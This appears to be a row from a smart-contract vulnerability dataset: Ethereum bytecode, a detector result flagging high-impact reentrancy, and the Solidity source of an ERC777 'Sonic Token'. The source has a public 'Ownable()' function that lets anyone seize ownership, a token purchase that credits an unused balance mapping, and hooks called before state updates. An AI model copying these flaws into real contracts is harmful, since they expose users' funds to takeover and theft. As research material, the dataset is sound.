135da81613352565b9050919050565b600060208201905081810360008301526135fa81613375565b9050919050565b6000602082019050818103600083015261361a81613398565b9050919050565b6000602082019050818103600083015261363a816133bb565b9050919050565b6000602082019050818103600083015261365a816133de565b9050919050565b6000602082019050818103600083015261367a81613401565b9050919050565b6000602082019050818103600083015261369a81613424565b9050919050565b600060208201905081810360008301526136ba81613447565b9050919050565b600060208201905081810360008301526136da8161346a565b9050919050565b600060208201905081810360008301526136fa8161348d565b9050919050565b600060208201905061371660008301846134b0565b92915050565b600060a08201905061373160008301886134b0565b61373e602083018761327e565b81810360408301526137508186613202565b905061375f60608301856131f3565b61376c60808301846134b0565b9695505050505050565b600060208201905061378b60008301846134bf565b92915050565b600061379b6137ac565b90506137a78282613a0a565b919050565b6000604051905090565b600067ffffffffffffffff8211156137d1576137d0613ae2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138428261398a565b915061384d8361398a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561388257613881613a84565b5b828201905092915050565b60006138988261398a565b91506138a38361398a565b9250826138b3576138b2613ab3565b5b828204905092915050565b60006138c98261398a565b91506138d48361398a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390d5761390c613a84565b5b828202905092915050565b60006139238261398a565b915061392e8361398a565b92508282101561394157613940613a84565b5b828203905092915050565b60006139578261396a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139ac826139b3565b9050919050565b60006139be8261396a565b9050919050565b60006139d08261398a565b9050919050565b60005b838110156139f55780820151818401526020810190506139da565b83811115613a04576000848401525b50505050565b613a1382613b11565b810181811067ffffffffffffffff82111715613a3257613a31613ae2565b5b80604052505050565b6000613a468261398a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7957613a78613a84565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f0b8161394c565b8114613f1657600080fd5b50565b613f228161395e565b8114613f2d57600080fd5b50565b613f398161398a565b8114613f4457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d4887be8123ae44ffffd720f529ef590cfb1b0bb5edb706c4e442ee8e7d69ac64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,432 |
0xce659de292ad4fa9aafd82b038936cebd9291e77 | /**
*Submitted for verification at Etherscan.io on 2021-03-10
*/
pragma solidity ^0.5.0;
interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(address recipient, uint256 amount, bytes calldata data) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TokenNameChanged(string indexed previousName, string indexed newName);
event TokenSymbolChanged(string indexed previousSymbol, string indexed newSymbol);
event ExhangeRateChanged(uint8 indexed previousRate, uint8 indexed newRate);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0x9047b45143e6b812eff14c01c3bbac1708d59ad85aa905a4100975ed95b1a9b3;
assembly { codehash := extcodesize(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
interface IERC1820Registry {
function setManager(address account, address newManager) external;
function getManager(address account) external view returns (address);
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
function updateERC165Cache(address account, bytes4 interfaceId) external;
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier isOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public isOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC777 is IERC777, IERC20 ,OwnableToken{
using SafeMath for uint256;
using Address for address;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
string public version = '1.0';
uint8 public exchangeRate;
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
address[] private _defaultOperatorsArray;
mapping (address => uint256) balances;
mapping(address => bool) private _defaultOperators;
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
mapping (address => mapping (address => uint256)) private _allowances;
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function granularity() public view returns (uint256) {
return 1;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(msg.sender, msg.sender, recipient, amount, data, "", true);
}
function changeTokenName( string memory newName) public isOwner returns (bool success) {
emit TokenNameChanged( _name, newName);
_name = newName;
return true;
}
function changeTokenSymbol(string memory newSymbol) public isOwner returns (bool success) {
emit TokenSymbolChanged( _symbol, newSymbol);
_symbol = newSymbol;
return true;
}
function changeExhangeRate(uint8 newRate) public isOwner returns (bool success) {
emit ExhangeRateChanged(exchangeRate, newRate);
exchangeRate = newRate;
return true;
}
function () payable external{
fundTokens();
}
function fundTokens() public payable {
require(msg.value > 0);
uint256 tokens = msg.value.mul(exchangeRate);
require(balances[owner].sub(tokens) > 0);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(msg.sender, owner, msg.value);
forwardFunds();
}
function forwardFunds() internal {
address(uint160(owner)).transfer(msg.value);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = msg.sender;
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
function burn(uint256 amount, bytes calldata data) external {
_burn(msg.sender, msg.sender, amount, data, "");
}
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
function authorizeOperator(address operator) external {
require(msg.sender != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[msg.sender][operator];
} else {
_operators[msg.sender][operator] = true;
}
emit AuthorizedOperator(operator, msg.sender);
}
function revokeOperator(address operator) external {
require(operator != msg.sender, "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[msg.sender][operator] = true;
} else {
delete _operators[msg.sender][operator];
}
emit RevokedOperator(operator, msg.sender);
}
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(msg.sender, sender), "ERC777: caller is not an operator for holder");
_send(msg.sender, sender, recipient, amount, data, operatorData, true);
}
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(msg.sender, account), "ERC777: caller is not an operator for holder");
_burn(msg.sender, account, amount, data, operatorData);
}
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 value) external returns (bool) {
address holder = msg.sender;
_approve(holder, spender, value);
return true;
}
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = msg.sender;
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
private
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_totalSupply = _totalSupply.sub(amount);
_balances[from] = _balances[from].sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) private {
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
}
contract SonicERC777 is ERC777 {
constructor () public ERC777("Sonic Token", "SON", new address[](0)) {
_mint(msg.sender, msg.sender, 1000000000 * 10 ** 18, "", "");
}
} | 0x60806040526004361061019c5760003560e01c8063959b8c3f116100ec578063d95b63711161008a578063fad8b32a11610064578063fad8b32a14610c61578063fc673c4f14610cb2578063fcae08e114610db7578063fe9d930314610dc15761019c565b8063d95b637114610b02578063dd62ed3e14610b8b578063f2fde38b14610c105761019c565b8063a9059cbb116100c6578063a9059cbb14610879578063b0018bfc146108ec578063ba0410fb146109cc578063c6d3ab9d14610a225761019c565b8063959b8c3f146106e857806395d89b41146107395780639bd9bbc6146107c95761019c565b80633ba0b9a91161015957806362ad1b831161013357806362ad1b83146104f057806370a08231146106155780638afc36051461067a5780638da5cb5b146106915761019c565b80633ba0b9a91461040457806354fd4d5014610435578063556f0dc7146104c55761019c565b806306e48538146101a657806306fdde0314610212578063095ea7b3146102a257806318160ddd1461031557806323b872dd14610340578063313ce567146103d3575b6101a4610e51565b005b3480156101b257600080fd5b506101bb611103565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156101fe5780820151818401526020810190506101e3565b505050509050019250505060405180910390f35b34801561021e57600080fd5b50610227611191565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026757808201518184015260208101905061024c565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611233565b604051808215151515815260200191505060405180910390f35b34801561032157600080fd5b5061032a61124f565b6040518082815260200191505060405180910390f35b34801561034c57600080fd5b506103b96004803603606081101561036357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611259565b604051808215151515815260200191505060405180910390f35b3480156103df57600080fd5b506103e8611496565b604051808260ff1660ff16815260200191505060405180910390f35b34801561041057600080fd5b5061041961149f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561044157600080fd5b5061044a6114b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048a57808201518184015260208101905061046f565b50505050905090810190601f1680156104b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104d157600080fd5b506104da611550565b6040518082815260200191505060405180910390f35b3480156104fc57600080fd5b50610613600480360360a081101561051357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561057a57600080fd5b82018360208201111561058c57600080fd5b803590602001918460018302840111640100000000831117156105ae57600080fd5b9091929391929390803590602001906401000000008111156105cf57600080fd5b8201836020820111156105e157600080fd5b8035906020019184600183028401116401000000008311171561060357600080fd5b9091929391929390505050611559565b005b34801561062157600080fd5b506106646004803603602081101561063857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b5061068f6116a2565b005b34801561069d57600080fd5b506106a66116e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611709565b005b34801561074557600080fd5b5061074e611964565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078e578082015181840152602081019050610773565b50505050905090810190601f1680156107bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107d557600080fd5b50610877600480360360608110156107ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561083357600080fd5b82018360208201111561084557600080fd5b8035906020019184600183028401116401000000008311171561086757600080fd5b9091929391929390505050611a06565b005b34801561088557600080fd5b506108d26004803603604081101561089c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a6f565b604051808215151515815260200191505060405180910390f35b3480156108f857600080fd5b506109b26004803603602081101561090f57600080fd5b810190808035906020019064010000000081111561092c57600080fd5b82018360208201111561093e57600080fd5b8035906020019184600183028401116401000000008311171561096057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b8c565b604051808215151515815260200191505060405180910390f35b3480156109d857600080fd5b50610a08600480360360208110156109ef57600080fd5b81019080803560ff169060200190929190505050611cfe565b604051808215151515815260200191505060405180910390f35b348015610a2e57600080fd5b50610ae860048036036020811015610a4557600080fd5b8101908080359060200190640100000000811115610a6257600080fd5b820183602082011115610a7457600080fd5b80359060200191846001830284011164010000000083111715610a9657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611dc0565b604051808215151515815260200191505060405180910390f35b348015610b0e57600080fd5b50610b7160048036036040811015610b2557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f32565b604051808215151515815260200191505060405180910390f35b348015610b9757600080fd5b50610bfa60048036036040811015610bae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120e3565b6040518082815260200191505060405180910390f35b348015610c1c57600080fd5b50610c5f60048036036020811015610c3357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061216a565b005b348015610c6d57600080fd5b50610cb060048036036020811015610c8457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122bb565b005b348015610cbe57600080fd5b50610db560048036036080811015610cd557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610d1c57600080fd5b820183602082011115610d2e57600080fd5b80359060200191846001830284011164010000000083111715610d5057600080fd5b909192939192939080359060200190640100000000811115610d7157600080fd5b820183602082011115610d8357600080fd5b80359060200191846001830284011164010000000083111715610da557600080fd5b9091929391929390505050612516565b005b610dbf610e51565b005b348015610dcd57600080fd5b50610e4f60048036036040811015610de457600080fd5b810190808035906020019092919080359060200190640100000000811115610e0b57600080fd5b820183602082011115610e1d57600080fd5b80359060200191846001830284011164010000000083111715610e3f57600080fd5b9091929391929390505050612612565b005b60003411610e5e57600080fd5b6000610e85600760009054906101000a900460ff1660ff163461267790919063ffffffff16565b90506000610efc82600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fd90919063ffffffff16565b11610f0657600080fd5b610f5881600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100e81600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fd90919063ffffffff16565b600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef346040518082815260200191505060405180910390a361110061280e565b50565b6060600880548060200260200160405190810160405280929190818152602001828054801561118757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161113d575b5050505050905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112295780601f106111fe57610100808354040283529160200191611229565b820191906000526020600020905b81548152906001019060200180831161120c57829003601f168201915b5050505050905090565b600080339050611244818585612878565b600191505092915050565b6000600354905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139dd6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613a2d6026913960400191505060405180910390fd5b60003390506113978186868660405180602001604052806000815250604051806020016040528060008152506129e9565b6113c3818686866040518060200160405280600081525060405180602001604052806000815250612d11565b61145c858261145786600d60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fd90919063ffffffff16565b612878565b61148a8186868660405180602001604052806000815250604051806020016040528060008152506000612ffe565b60019150509392505050565b60006012905090565b600760009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115485780601f1061151d57610100808354040283529160200191611548565b820191906000526020600020905b81548152906001019060200180831161152b57829003601f168201915b505050505081565b60006001905090565b6115633388611f32565b6115b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a01602c913960400191505060405180910390fd5b6116503388888888888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505087878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505060016133a7565b50505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061392a6024913960400191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561187157600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055611907565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167ff4caeb2d6ca8932a215a353d0703c326ec2d81fc68170f320eb2ab49e9df61f960405160405180910390a350565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119fc5780601f106119d1576101008083540402835291602001916119fc565b820191906000526020600020905b8154815290600101906020018083116119df57829003601f168201915b5050505050905090565b611a693333868686868080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506040518060200160405280600081525060016133a7565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611af6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139dd6024913960400191505060405180910390fd5b6000339050611b278182868660405180602001604052806000815250604051806020016040528060008152506129e9565b611b53818286866040518060200160405280600081525060405180602001604052806000815250612d11565b611b818182868660405180602001604052806000815250604051806020016040528060008152506000612ffe565b600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611be757600080fd5b816040518082805190602001908083835b60208310611c1b5780518252602082019150602081019050602083039250611bf8565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060046040518082805460018160011615610100020316600290048015611ca55780601f10611c83576101008083540402835291820191611ca5565b820191906000526020600020905b815481529060010190602001808311611c91575b505091505060405180910390207fe08ba098c56583ff7ce264f98fb97b7ddc5e6af834acc0556b24327f72a555f960405160405180910390a38160049080519060200190611cf4929190613840565b5060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d5957600080fd5b8160ff16600760009054906101000a900460ff1660ff167f69a4b1d840e5b6ee4b5b529c352c29b6535602f8c6807339d308cf4104fd7d0e60405160405180910390a381600760006101000a81548160ff021916908360ff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e1b57600080fd5b816040518082805190602001908083835b60208310611e4f5780518252602082019150602081019050602083039250611e2c565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060056040518082805460018160011615610100020316600290048015611ed95780601f10611eb7576101008083540402835291820191611ed9565b820191906000526020600020905b815481529060010190602001808311611ec5575b505091505060405180910390207f68023cab388c6052af3fa625f164cd0c14cc9125d57286fbe0d9b384847c4c0260405160405180910390a38160059080519060200190611f28929190613840565b5060019050919050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061204a5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120495750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5